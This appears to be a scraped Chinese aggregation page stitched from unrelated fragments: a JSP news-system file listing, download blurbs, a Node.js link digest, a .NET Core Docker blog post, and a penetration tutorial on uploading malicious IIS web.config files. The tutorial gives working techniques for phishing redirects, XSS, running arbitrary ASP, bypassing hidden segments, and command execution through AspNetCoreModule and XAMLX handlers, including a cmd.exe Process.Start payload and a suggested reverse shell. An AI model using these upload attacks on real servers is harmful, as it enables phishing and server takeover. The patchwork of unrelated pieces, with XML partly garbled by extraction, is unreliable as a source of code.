精华内容
下载资源
问答
  • WEB新闻发布系统

    2011-09-25 16:59:32
    WEB新闻发布系统,这个也很不错,呵呵,如果喜欢,就关注吧~~~~~~
  • Java Web 新闻发布系统

    2017-01-12 21:57:29
    Java Web 新闻发布系统
  • 使用vs开发环境,ASP.NET完成的web新闻发布系统,免费福利放送。
  • 北大青鸟JSP Web新闻发布系统
  • java web 新闻发布系统

    2008-04-30 14:15:50
    java web 新闻发布系统 是一套简单的系统 <br>增 删 查 改 从数据库里 获取
  • ASP基于WEB新闻发布系统(源代码论文).rar
  • 采用java EE技术实现的新闻发布系统。功能有:新闻发布、新闻展示等。前端集成了富文本编辑器,mysql数据库存储新闻等数据。
  • 基于Spring开发的网页新闻发布系统,可浏览新闻,管理员登录后可发布新闻,管理新闻,管理系统用户,查看用户,用户登录日志等
  • 基于myeclip环境 web开发 新闻发布 课程设计
  • 文件名大小更新时间新闻发布系统\news.sql48112018-10-31新闻发布系统\newsSystem\.classpath8422018-10-29新闻发布系统\newsSystem\.project9102018-10-29新闻发布系统\newsSystem\.settings\.jsdtscope5672018-10-...

    文件名大小更新时间

    新闻发布系统\news.sql48112018-10-31

    新闻发布系统\newsSystem\.classpath8422018-10-29

    新闻发布系统\newsSystem\.project9102018-10-29

    新闻发布系统\newsSystem\.settings\.jsdtscope5672018-10-29

    新闻发布系统\newsSystem\.settings\org.eclipse.jdt.core.prefs3642018-10-29

    新闻发布系统\newsSystem\.settings\org.eclipse.wst.common.component4822018-10-29

    新闻发布系统\newsSystem\.settings\org.eclipse.wst.common.project.facet.core.xml3452018-10-29

    新闻发布系统\newsSystem\.settings\org.eclipse.wst.jsdt.ui.superType.container492018-10-29

    新闻发布系统\newsSystem\.settings\org.eclipse.wst.jsdt.ui.superType.name62018-10-29

    新闻发布系统\newsSystem\build\classes\bookBeans\ConnDB.class20812018-10-31

    新闻发布系统\newsSystem\src\bookBeans\ConnDB.java19112018-10-30

    新闻发布系统\newsSystem\WebContent\admin_news\admin_index.jsp4512018-10-30

    新闻发布系统\newsSystem\WebContent\admin_news\admin_index1.jsp12542018-10-31

    新闻发布系统\newsSystem\WebContent\admin_news\admin_people.jsp4452018-10-30

    新闻发布系统\newsSystem\WebContent\admin_news\delete.jsp9312018-10-30

    新闻发布系统\newsSystem\WebContent\admin_news\news_nopass.jsp35752018-10-31

    新闻发布系统\newsSystem\WebContent\admin_news\news_nopass_delete.jsp9202018-10-31

    新闻发布系统\newsSystem\WebContent\admin_news\news_pass.jsp35532018-10-31

    新闻发布系统\newsSystem\WebContent\admin_news\news_pass_delete.jsp9132018-10-31

    新闻发布系统\newsSystem\WebContent\admin_news\pass.jsp27312018-10-31

    新闻发布系统\newsSystem\WebContent\admin_news\people.jsp32482018-10-31

    新闻发布系统\newsSystem\WebContent\admin_news\rev_news.jsp35832018-10-31

    新闻发布系统\newsSystem\WebContent\exit.jsp10442018-10-30

    新闻发布系统\newsSystem\WebContent\images\face\Image1.gif5072018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image10.gif5182018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image11.gif4142018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image12.gif4882018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image13.gif5832018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image14.gif6392018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image15.gif5032018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image16.gif5572018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image17.gif6102018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image18.gif5562018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image19.gif4312018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image2.gif5742018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image20.gif5982018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image21.gif5802018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image22.gif4792018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image23.gif5112018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image24.gif7432018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image25.gif5792018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image26.gif4912018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image27.gif5902018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image28.gif4582018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image29.gif5322018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image3.gif5102018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image30.gif6952018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image31.gif4892018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image32.gif5282018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image33.gif5532018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image34.gif6382018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image35.gif5342018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image36.gif4802018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image37.gif10982018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image38.gif4622018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image39.gif5732018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image4.gif5982018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image40.gif6702018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image41.gif6852018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image42.gif5472018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image43.gif5022018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image44.gif4252018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image45.gif5352018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image46.gif5922018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image47.gif6682018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image48.gif6242018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image49.gif7572018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image5.gif5372018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image50.gif6432018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image51.gif7362018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image52.gif6952018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image53.gif4522018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image54.gif6182018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image55.gif6372018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image56.gif6382018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image57.gif8162018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image58.gif7592018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image59.gif7362018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image6.gif5722018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image60.gif7072018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image7.gif5342018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image8.gif4642018-09-06

    新闻发布系统\newsSystem\WebContent\images\face\Image9.gif4492018-09-06

    新闻发布系统\newsSystem\WebContent\images\logo\false.jpg23062018-09-06

    新闻发布系统\newsSystem\WebContent\images\logo\logo.jpg229702018-10-30

    新闻发布系统\newsSystem\WebContent\images\logo\ok.gif257942018-09-06

    新闻发布系统\newsSystem\WebContent\login\forget_pass.jsp4512018-10-30

    新闻发布系统\newsSystem\WebContent\login\forget_pass1.jsp14672018-10-30

    新闻发布系统\newsSystem\WebContent\login\forget_pass2.jsp31962018-10-30

    新闻发布系统\newsSystem\WebContent\login\forget_pass3.jsp32712018-10-30

    新闻发布系统\newsSystem\WebContent\login\index.jsp7772018-10-30

    新闻发布系统\newsSystem\WebContent\login\login.jsp26882018-10-30

    新闻发布系统\newsSystem\WebContent\login\login_ok.jsp47332018-10-30

    新闻发布系统\newsSystem\WebContent\login\reg.js16732018-09-06

    新闻发布系统\newsSystem\WebContent\login\reg.jsp98122018-10-30

    新闻发布系统\newsSystem\WebContent\login\registry.jsp4422018-10-30

    新闻发布系统\newsSystem\WebContent\login\reg_ok.jsp31422018-10-30

    新闻发布系统\newsSystem\WebContent\META-INF\MANIFEST.MF392018-10-29

    新闻发布系统\newsSystem\WebContent\title.jsp15632018-10-30

    新闻发布系统\newsSystem\WebContent\user_news\edit.jsp16702018-10-30

    展开全文
  • 基于ASP的Web新闻发布系统的设计与实现 里面有源码和论文,可以用于参考学习。 更多论文及源码,可点击我的头像查看。 已经做修改。可以下载了。 __________________________________________________________ 该...
  • 新闻发布系统的一些重要知识来看看吧什么叫做真的东西!
  • java web经典项目教程,web开发学习必备
  • 前言 本文主要介绍web.config文件在渗透中的作用,即可上传一个web.config时的思路,话不多说,开始正题。首先我们来看一下web.config是什么,援引百度百科的介绍: Web.config文件是一个XML文本文件,它用来储存...

    前言

     本文主要介绍web.config文件在渗透中的作用,即可上传一个web.config时的思路,话不多说,开始正题。首先我们来看一下web.config是什么,援引百度百科的介绍: 

    Web.config文件是一个XML文本文件,它用来储存ASP.NETWeb 应用程序的配置信息,它可以出现在应用程序的每一个目录中。在运行时对Web.config文件的修改不需要重启服务就可以生效.

    关键词:xml文本、.net配置、无需重启,这几个特性就决定了其在渗透中的作用,我们来看下具体操作。

    以下实验环境为:

    windows server 2008

    iis 7

    .net 3.5

    具体利用

    (一)使用web.config进行重定向钓鱼

    首先通过实验了解什么是重定向:数据流重定向http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014091814145000001(数据流重定向就是将某个指令执行后应该要出现在屏幕上的数据,将它们传输到其他的地方。)

    在iis中有一项为url redirect也就是用来进行url重定向的,当我们可以长传一个web.config的时候我们就可以使用这种方式来进行钓鱼攻击,在这里要注意的是,不同的iis版本的配置稍有不同,以本次环境中的iis7为例,假如我们想让目标网站跳转到baidu,我们只需要这样写我们的web.config:

    <?xml version="1.0" encoding="UTF-8"?>                

    中间的一行为我们具体实现的代码,即开启重定向并重定向到百度,剩下的都是服务默认的自带的,相当于模板,此时我们访问目标站点,就会跳转到baidu了。

    bce7ee012fc180e6bcc296b14c3fa48f.png

    74e44175a13f91ffc9db310b7ba5ed5c.png

    而大于等于iis7版本就稍微复杂一些,因为在这之后多了一个url write功能,其中包含了url重定向,所以很多开发选择使用这个功能进行操作。我们来看一下,如果为url write该如何去做。假如我们在url write定义了一个规则为:为所有不带斜杠(/)的网址,自动加上斜杠(/),比如下图这样:

    66db90e5e092ee33f1c3382b94da1229.png

    那么我们的web.config就会自动生成以下内容:

    <?xml version="1.0" encoding="UTF-8"?>                                                                                                                                                                                                                

    看起来有些难懂,下面稍微给大家说一下,首先在url write分为入站规则()和出站规则()他们需要写在的元素内,我们一般钓鱼只考虑入站规则,AddTrailingSlashRule1为一个新的规则名字,可随意定义,若stopProcessing指定为true则若当前请求与规则匹配,则不再匹配其他请求。为进行匹配的url,一般使用正则表达式的形式,而元素告诉IIS如何处理与模式匹配的请求,使用type属性来进行处理,一般有以下几个:

    • None:

    • Rewrite:将请求重写为另一个URL。

    • Redirect:将请求重定向到另一个URL。

    • CustomResponse:向客户返回自定义响应。

    • AbortRequest:删除请求的HTTP连接。

    而redirectType属性指定要使用永久重定向还是临时重定向。剩下的大家可以查阅msdn上面的手册,写的非常详细。说了这么多,估计大家就能明白怎么去写web.config了,给出大家一个url write的web.config钓鱼模板,可自行进行修改:

                

    因为web.config不需要重启服务,所以当我们能够传一个web.config上去的时候,我们也就达到了我们的目的,也有可能运维人员已经写好了一些规则,我们不想贸然惊动管理者的话,如果此时我们可以上传.shtm或.shtml文件,并使用以下代码来读取web.config的内容。

    80b5f1d7c37cf99c313902561bcf10cf.png

    并根据读取的内容来进行后续操作。

    (二)使用web.config进行xss

    这是一种比较古老的技术,依靠web.config的name属性,来构造一个xss,前提是iis6或者更低的版本不支持这类攻击,假设我们上传的web.config内容如下:

    <?xml version="1.0" encoding="UTF-8"?>                                                                                                                                                                     

    则我们访问该文件时则会弹出xss

    cac5af619a35aecc42003604fe18adcb.png

    (三)使用web.config运行asp代码

    这类攻击方法其实也不是什么很稀奇的技术,因为web.config可以操控iis服务器,那么我们可以去调用system32\inetsrv\asp.dll文件,来达到运行任意asp代码的目的。比如下面这样:

    <?xml version="1.0" encoding="UTF-8"?>                                                                                                                                       Response.write("-"&"->")' it is running the ASP code if you can see 3 by opening the web.config file!Response.write(1+2)Response.write("%>

    此时访问文件,则会输出3,运行其他的代码同理哦。

    117e48efadd1a87692de1b5afc141b6d.png

    (四)使用web.config绕过hidden segments

    在iis7以后,微软为了增加其安全性增加了hidden segments功能对应请求过滤模块,也就是对一些不想让其他人访问的东西进行过滤,在被访问时返回给客户端一个404.8的状态码。一般在web.config中使用来进行指定隐藏的值。比如我们设置了一个文件夹为hiddenSegments,那么在访问时就是下图这种情况。

    9b3f7ae7c1c2815932ff0bd6d959a9fb.png

    比如文件夹为_private则对应生成的web.config内容如下

                                                                               

    而此时我们可以通过上传web.config的形式,来绕过这种过滤。

    <?xml version="1.0" encoding="UTF-8"?>                                                                                                                                                                                                                                      

    因为过滤的本质是使用的APP_Data或者App_GlobalResources进行的add,我们将其remove掉即可。

    (五)使用web.config进行rce

    这个跟执行asp代码原理上差不多,主要是使用AspNetCoreModule模块去调用cmd进行命令执行。

    <?xml version="1.0" encoding="utf-8"?>                                           

    这个过程通过去访问服务器上的backdoor.me进行触发,因为是在服务端进行执行的,这时候我们可以如调用powershell,来返回一个反向的shell。

    (六)使用系统秘钥来反序列化进行rce

    这个是一种.net的反序列化操作,有兴趣的朋友可以参考orange师傅在hicton上出的题https://xz.aliyun.com/t/3019

    (七)使用web.config启用 XAMLX来getshell

    XAMLX文件一般用于工作流服务,使用消息活动来发送和接收Windows Communication Foundation(WCF)消息的工作流。而我们可以使用该文件进行命令执行,一般有两种方法,一种是反序列化,另一种就是其本身的文件浏览功能在浏览上传的文件时,执行命令。以第二种为例,代码内容如下:

             [System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()]     

    发送一个post请求即可调用该文件进行命令执行:

    POST /uploaded.xamlx HTTP/1.1Host: 192.168.0.105SOAPAction: testmeContent-Type: text/xmlContent-Length: 94<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body/>s:Envelope>

    7c1d1d381c9d11dce220684387668ca5.png

    所以我们也可以使用这种方法来进行反弹shell。

    但是该文件并非全部开启,若目标服务器启用了WCF服务我们可以使用下面的web.config进行启用这类文件

    <?xml version="1.0" encoding="UTF-8"?><configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="xamlx" path="*.xamlx" verb="*" type="System.Xaml.Hosting.XamlHttpHandlerFactory, System.Xaml.Hosting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" /> <add name="xamlx-Classic" path="*.xamlx" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" /> handlers> <validation validateIntegratedModeConfiguration="false" /> system.webServer>configuration>

    (八)使用web.config绕过执行限制

    在一个可读写的目录里无法执行脚本, 可以通过上传特殊的 web.config 文件突破限制.比如这种:

    a548f886e1e1421d3f3e176d23e55830.png

    <?xml version="1.0" encoding="utf-8"?><configuration>    <system.webServer>        <handlers accessPolicy="Read, Write, Execute, Script" />    system.webServer>configuration>

    上传后即可访问、运行代码。

    b6618fdd5eb64ea1bcc067ce9cf6d97a.png

    总结

    除了这些还有像存储型xss、json攻击等因为各类限制较多,本人没有在文中指出,有兴趣的可以自行了解。

    2019原创干货集锦 | 掌握学习主动权

    大家有好的技术原创文章

    欢迎投稿至邮箱:edu@heetian.com

    合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

    有才能的你快来投稿吧!

    了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

    1ff7a33b13c4ce547aa8e133743f1e2a.gif

    57f41a1df8cb2a2f0fac58bb68938a0c.png戳“
    展开全文
  • “CNodejs 每日新闻” 的出现也是期望为大家分享一些 Node.js 相关的技术、教程、工具和开源项目等,希望能帮助到正在使用或对 Node.js 感兴趣的朋友们。我们会每日收集推送,周末汇总发布。欢迎投稿,推荐或自荐...
    1a45d78de5dab555d22d395701e113b9.png

    在一个知识爆炸的时代,身边的一些技术、文章、工具铺天盖地,有时候我们会困惑该如何选择?哪些是对自己有价值的?“CNodejs 每日新闻” 的出现也是期望为大家分享一些 Node.js 相关的技术、教程、工具和开源项目等,希望能帮助到正在使用或对 Node.js 感兴趣的朋友们。我们会每日收集推送,周末汇总发布。
    欢迎投稿,推荐或自荐文章/项目/资源等,请提交 Issues 到 github.com/cnodejs/dailynews/issues。

    教程

    • [教程] Vite,跟snowpack差不多,下一代构建工具,利用浏览器直接支持模块化的特性,抛弃webpack那一套实现bundleless。https://vite-design.surge.sh/guide/
    • Node.js 最佳实践 https://github.com/goldbergyoni/nodebestpractices
    • Node.js 面试题,侧重后端应用与对 Node 核心的理解 https://github.com/jimuyouyou/node-interview-questions

    技术文章

    • 实践案例丨教你一键构建部署发布前端和 Node.js 服务 https://zhuanlan.zhihu.com/p/190126689
    • 企业级 Node.js 应用性能监控与线上故障定位解决方案 https://www.yuque.com/hyj1991/easy-monitor/architecture
    • Node.js crash 如何分析和定位 https://zhuanlan.zhihu.com/p/197607018
    • 如何在 Node.js 中判断一个文件是否存在?https://zhuanlan.zhihu.com/p/195722463
    • 从 0 到 1 node 项目管理系统:构建篇-jenkins** **https://juejin.im/post/6864163222187540488
    • 22187540488
    • ServiceMesh究竟解决什么问题? https://mp.weixin.qq.com/s/R0FW9wBpDCXxYJthpTf3sA
    • console.log 用烦了?来用内置的 node debugger 吧 https://dev.to/nyxtom/stop-using-console-log-and-use-the-node-debugger-4402
    • Node 模块化之争:为什么 CommonJS 和 ES Modules 无法相互协调 https://mp.weixin.qq.com/s/YR9_trcQqpiPzlSeZas4Ng
    • 一篇文章构建你的 Node.js 知识体系 https://mp.weixin.qq.com/s/HSAdTZPnvfdWk8nfx8KZng
    • 如何在Node+React项目中防止CSRF攻击  https://juejin.im/post/6863998510090584072
    • 使用JavaScript+Selenium玩转Web应用自动化测试 https://cnodejs.org/topic/5f435497e8a599751bb50e79
    • 用 Node.js 开发一个购物车 https://dev.to/suniljoshi19/unit-testing-react-components-using-enzyme-and-jest-testing-frameworks-2m4k
    • Node.js Stream处理 https://mp.weixin.qq.com/s/2Gucf0Qcfn92C7aawIIXZg
    • 我写了一个 TypeScript 虚拟机。https://zhuanlan.zhihu.com/p/202745659
    • 深入Node.js的模块加载机制,手写require函数  https://juejin.im/post/6866973719634542606
    • 通过源码分析nodejs原理 https://cnodejs.org/topic/5f4c934268156574e6e6dbb3
    • JSON Web Tokens (JWT) — 你所需要的全部解释 (英文) https://medium.com/@weinberger.ariel/json-web-token-jwt-the-only-explanation-youll-ever-need-cf53f0822f50

    面试&问答

    • node.js和前端js有什么区别?需要重新学习吗?https://www.zhihu.com/question/60164095
    • 如何写出一个爆款 Javascript 框架?https://www.zhihu.com/question/417927065/answer/1440663450
    • 安装 NVM 失败报错 “Failed to connect to raw.githubusercontent.com port 443: Connection refused” 一种解决方案 https://github.com/hawtim/blog/issues/10
    • Node.js 脚本遭遇异常时如何安全退出 https://juejin.im/post/6865060371481395213
    • TypeScript写后端的优势是什么?https://www.zhihu.com/question/389662868

    项目&工具

    • [开源] js不到1千行写的编译器 https://github.com/jamiebuilds/the-super-tiny-compiler
    • [开源] 如果想看node原理,推荐一个简易C/C++版。https://github.com/KCreate/charly-vm/blob/main/src/vm/vm.cpp
    • [开源] 通过GitHub action来创建ci工作量中的发布部分。https://github.com/chrnorm/deployment-action
    • [社区] 使用JavaScript+Selenium玩转Web应用自动化测试
    • 30s 零配置启动完整的 REST API server https://github.com/typicode/json-server
    • NPM 多 package 管理发布工具 https://github.com/lerna/lerna
    • React 全栈开发框架 https://github.com/blitz-js/blitz
    • Yapi 一个使用 Node.js 开发的接口可视化管理工具,支持接口可视化界面操作、数据 Mock、自动化测试、权限管理功能 https://github.com/YMFE/yapi
    • Node.js 日志库 winston https://juejin.im/post/6865926810061045774
    • 10 个你可能还不知道 VS Code 使用技巧 https://zhuanlan.zhihu.com/p/213868356
    • Node.js 库检查一个文件是文本文件还是二进制文件 https://github.com/bevry/istextorbinary
    • JavaScript 拖拽网站构建器 https://github.com/givanz/VvvebJs
    • 所有场景都能用到 30s 就能读完的 JavaScript 片段集合 https://github.com/30-seconds/30-seconds-of-code

    编辑: qufei1993
    订阅新闻: http://tinyletter.com/cnodejs
    招聘专区: https://cnodejs.org/?tab=job
    文档地址 https://www.yuque.com/egg/nodejs-news/ 备注:微信不支持外链跳转,可 “阅读原文” 查看

    - END -

    敬请关注「Nodejs技术栈」微信公众号,获取优质文章,如需投稿可在后台留言与我取得联系。

    ▼往期精彩回顾▼CNodejs每日新闻周刊|第 3 期CNodejs每日新闻周刊|第 2 期CNodejs每日新闻周刊|第 1 期3eff47029406d4853939fc44e1a60d77.png
    展开全文
  • 详情见http://www.zuidaima.com/share/3536735595432960.htm 有运行效果图,代码内容比较多,都是用的最基础的知识做出来的
  • 目前已有至少4位社区朋友使用此系统在 Azure、阿里云上部署了自己的博客。可惜长久以来该系统一直缺乏 Docker 支持,而 .NET Core 必须结合 Docker 才是当今世界的政治正确。我作为一名20年的老软粉,虽然嘴上说着很...

    导语

    我的博客(https://edi.wang)所使用的博客系统 Moonglade 开源已经一年多了。目前已有至少4位社区朋友使用此系统在 Azure、阿里云上部署了自己的博客。可惜长久以来该系统一直缺乏 Docker 支持,而 .NET Core 必须结合 Docker 才是当今世界的政治正确。我作为一名20年的老软粉,虽然嘴上说着很不情愿用 Linux、Docker这种非微软的东西,但也只能假装抱着批判的态度,向 Linux 和 Docker 伸出了魔爪,让我的博客系统能够容器化运行。

    8c83f2919da0def6e4b718be9ba31f79.png

    Docker 环境安装

    我作为一个20多年的老软粉,怎么可以在自己纯洁的 Windows 电脑上装 Docker 呢?装完以后:Docker 真香。

    为了最大限度的避免 Windows 被污染(尽管它已经是咖喱拌饭了),我的 Docker 编译和发布环境都配置在云端,采用 Azure DevOps + Docker Hub + Azure App Service Linux Plan 的方式去编译运行。

    Dockerfile

    Visual Studio 可以直接右键一个 ASP.NET Core 项目添加 Docker 支持,这种方式可以让你很方便的在本地调试 Docker 中的 ASP.NET Core 程序。VS除了向工程目录添加一个 Dockerfile 以外,还会修改你的 csproj 工程文件,好让工具链整合你的容器。而其实对于单纯编译和运行 ASP.NET Core 网站而言,单独一个 Dockerfile 就够了,Docker 会根据这个 Dockerfile 编译出应用的容器镜像。

    最初我博客的 Dockerfile 内容如下:

    FROM mcr.microsoft.com/dotnet/core/aspnet:3.1-buster-slim AS base

    WORKDIR /app

    EXPOSE 80

    EXPOSE 443

    FROM mcr.microsoft.com/dotnet/core/sdk:3.1-buster AS build

    WORKDIR /src

    COPY ["Moonglade.Web/Moonglade.Web.csproj", "Moonglade.Web/"]

    # COPY 其余的工程文件,篇幅关系省略

    RUN dotnet restore "Moonglade.Web/Moonglade.Web.csproj"

    COPY . .

    WORKDIR "/src/Moonglade.Web"

    RUN dotnet build "Moonglade.Web.csproj" -p:Version=10.2.0-docker -c Release -o /app/build

    FROM build AS publish

    RUN dotnet publish "Moonglade.Web.csproj" -p:Version=10.2.0-docker -c Release -o /app/publish

    FROM base AS final

    WORKDIR /app

    COPY --from=publish /app/publish .

    ENTRYPOINT ["dotnet", "Moonglade.Web.dll"]

    这份 Dockerfile 和 Visual Studio 自动生成的没太大区别。其中,我指定编译版本号参数为 -p:Version=10.2.0-docker,以便于直接从博客网站的界面分辨部署类型是 Docker 还是传统的 Code。

    YAML

    在 Azure DevOps 上,我使用 YAML 方式编译和部署我的博客项目,其中 Docker 的编译步骤定义如下:

    - job: Docker

    pool:

    vmImage: 'ubuntu-latest'

    steps:

    - task: Docker@2

    displayName: 'Build and Push'

    inputs:

    containerRegistry: 'ediwang_dockerhub'

    repository: ediwang/moonglade

    tags: latest

    由于VM镜像选的是 Ubuntu,因此这个 Docker 镜像编译出来为 Linux/x64 架构。如果你需要其他架构,可以自行添加其他类型的VM镜像。

    ediwang_dockerhub 是预先在 Azure DevOps 授权配置好的针对 Docker Hub 的连接名称。编译完成后,Azure DevOps 会使用其中的授权向 Docker Hub 发布镜像。

    福报#1:路径问题

    当我兴高采烈的测试我的 Docker 容器时,我惊喜的发现,博客的博主头像、RSS订阅、OPML等全部都404了。根据之前我修过的Linux福报,我立即明白这是路径写法的问题。

    在 Windows 系统中,表示一个文件或文件夹的路径通常用反斜杠分割目录,如:

    C:Fubao996.icu

    而 Linux 系统中,路径得用斜杠来分割目录,如:

    /use/dotnet/work/955

    像我这样的老牌软狗,很容易按照习惯把代码写成 Windows 的形式,毕竟微软曾经说好的 Linux 是毒瘤, .NET 只能在 Windows 上跑:

    var fallbackImageFile = $@"{AppDomain.CurrentDomain.GetData(Constants.AppBaseDirectory)}wwwrootimagesdefault-avatar.png";

    其实 .NET 自古以来都有个API:Path.Combine(),用来拼路径,它在 .NET Core 里遇到 Linux 环境可以正确使用斜杠,于是软狗以为这样写就没事了:

    var cssPath = Path.Combine(webRootPath, "css", "theme", currentTheme);

    大部分情况确实是好的,然而我们来看个会爆的例子:

    var p1 = "/dotnet";

    var p2 = "/fubao/996.icu";

    Path.Combine(p1, p2);

    猜猜结果变成什么?

    0cd83acf57d6d3fdc78873fe7c57799a.png

    /dotnet 被丢掉了,只能996,进ICU。

    好在微软为了不让我们进ICU,在.NET Standard 2.1里引入了 Path.Join() 方法,可以输出我们想要的结果:

    56a6a293ab36c631b13ff18e6a700dd2.png

    因此,我把博客代码里用到路径的地方全部都用 Path.Join() 改了一遍,终于恢复了博主头像、RSS等资源的正常访问。

    Path.Join() 参考文档:https://docs.microsoft.com/en-us/dotnet/api/system.io.path.join?view=netcore-3.1

    福报#2:libgdiplus

    博客程序运行期间,还报了另一个错,日志如下:

    2020-03-31T12:02:53.405115468Z System.TypeInitializationException: The type initializer for 'Gdip' threw an exception.
    2020-03-31T12:02:53.405359877Z ---> System.DllNotFoundException: Unable to load shared library 'libgdiplus' or one of its dependencies. In order to help diagnose loading problems, consider setting the LD_DEBUG environment variable: liblibgdiplus: cannot open shared object file: No such file or directory
    2020-03-31T12:02:53.405375177Z at System.Drawing.SafeNativeMethods.Gdip.GdiplusStartup(IntPtr& token, StartupInput& input, StartupOutput& output)
    2020-03-31T12:02:53.405390778Z at System.Drawing.SafeNativeMethods.Gdip..cctor()
    2020-03-31T12:02:53.405397878Z --- End of inner exception stack trace ---

    这是由于博客代码用到了一些 .NET Core 的绘图 API,而这些 API 的底层需要 Linux 系统上装一个叫做 libgdiplus 的库。可是 Azure App Service 的 Linux 容器主机对用户来说无法直接操作,不可能 SSH 进去给它装个库,怎么办呢?

    Bing 了一番之后发现,Dockerfile 里面居然可以直接定义 Linux 安装包的命令,把依赖性搞定。直接加入一条RUN命令的步骤即可:

    FROM mcr.microsoft.com/dotnet/core/aspnet:3.1-buster-slim AS base

    RUN apt-get update && apt-get install -y libgdiplus

    WORKDIR /app

    EXPOSE 80

    EXPOSE 443

    ...

    配置默认值

    使用 Docker 容器部署应用的体验我希望是一键部署以后啥都不用干,直接能跑。而以前版本的博客系统,必须要求用户先手工配置一堆环境变量或是配置文件才能跑,非常996。

    这个问题非常好办,只要在 appsettings.json 中留配置的默认值,保证程序能先跑起来即可。至于自定义的配置,可以让用户通过环境变量传给 Docker 容器。即保证了一键部署的方便性,又保留了自定义配置的灵活性。

    小结

    让 .NET Core 程序支持 Docker 并不麻烦。麻烦的是老一代 .NET 程序员会被根深蒂固的 Windows 设计所牵绊。在新的时代,我们必须学习新的实践,不要想着吃老本。.NET Framework 已经日薄西山,及时删库跑路,上 .NET Core + Docker 的船,才能保证在新的时代还能继续用 C# 释放生产力!我的 Docker 之旅刚刚起步,肯定还有很多我没遇到过的情况。欢迎读者在留言中补充和建议!

    汪宇杰博客

    .NET | Azure | 微软MVP

    长按扫码关注我们

    34daea2cc7d411c531c8ddde7bafff40.png
    展开全文
  • 此项目完全属于用asp.net在制作的!
  • 主要功能:用户登录、栏目管理、类别管理、发布新闻、管理信息 主要技术:MVC框架、基于HTTP协议的B/S的WEB开发的应用程序
  • 目前已有至少4位社区朋友使用此系统在 Azure、阿里云上部署了自己的博客。可惜长久以来该系统一直缺乏 Docker 支持,而 .NET Core 必须结合 Docker 才是当今世界的政治正确。我作为一名20年的老软粉,虽然嘴上说着很...
  • 新闻发布系统 新闻发布 新闻发布web开发 java新闻发布系统
  • 基于WEB的新闻发布系统的设计与实现(JSP,MySQL)(含录像)(毕业论文10300字,程序代码,MySQL数据库)通过网上基于WEB新闻发布系统这个平台。网上基于WEB新闻发布系统平台的主要功能包括新闻类别管理、新闻信息管理等,...
  • web框架 新闻发布系统

    2011-07-09 22:33:26
    这是基于web框架的一个小型新闻发布系统
  • web2.0新闻发布系统

    2010-04-19 20:42:42
    web2.0新闻发布系统 呵呵 想学习学习学习学习学习学习学习学习学习
  • 本资源与本人之前上传的 毕业设计:基于Web的学校新闻发布系统
  • 使用extjs技术构建前台,后台使用C#及asp构建一个基于web新闻发布系统,该系统比较简单,界面漂亮
